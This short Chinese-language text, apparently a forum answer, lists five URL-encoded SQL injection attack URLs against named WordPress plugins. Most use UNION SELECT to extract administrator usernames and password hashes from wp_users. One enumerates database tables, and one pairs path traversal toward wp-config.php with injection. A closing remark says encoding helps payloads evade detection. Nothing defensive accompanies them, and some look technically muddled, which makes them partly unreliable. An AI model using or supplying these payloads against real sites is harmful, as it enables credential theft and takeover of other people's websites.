常见的WordPress主题插件的SQL注入攻击包括:
http://website.com/wp-content/plugins/wp-db-backup/download.php?file=/path/to/backup/file.php%27%20AND%20%271%27=%271
http://website.com/?wpshop_checkout=1&id=-1)%20UNION%20ALL%20SELECT%20concat(user_login,0x3a,user_pass),2,3%20FROM%20wp_users%20WHERE%20user_login=%27admin%27#fake
http://website.com/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=1+UNION+SELECT+1,2,3,concat(user_login,0x3a,user_pass),5,6,7,8,9,10,11,12,13+FROM+wp_users+WHERE+ID=1
http://website.com/wp-content/plugins/wp-statistics/stats_page.php?search=%25%27%20UNION%20ALL%20SELECT%20TABLE_NAME%20FROM%20information_schema.tables%20WHERE%20TABLE_SCHEMA=database()%20–-
http://website.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=get&target=l1_Lw%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php%20UNION%20SELECT%20concat(user_login,0x3a,user_pass),2,3%20FROM%20wp_users%20WHERE%20user_login=%27admin%27
需要注意的是,以上示例代码中的网址和参数都是经过URL编码的,攻击者通常会在提交注入代码前对其进行编码,使得代码更难被检测到。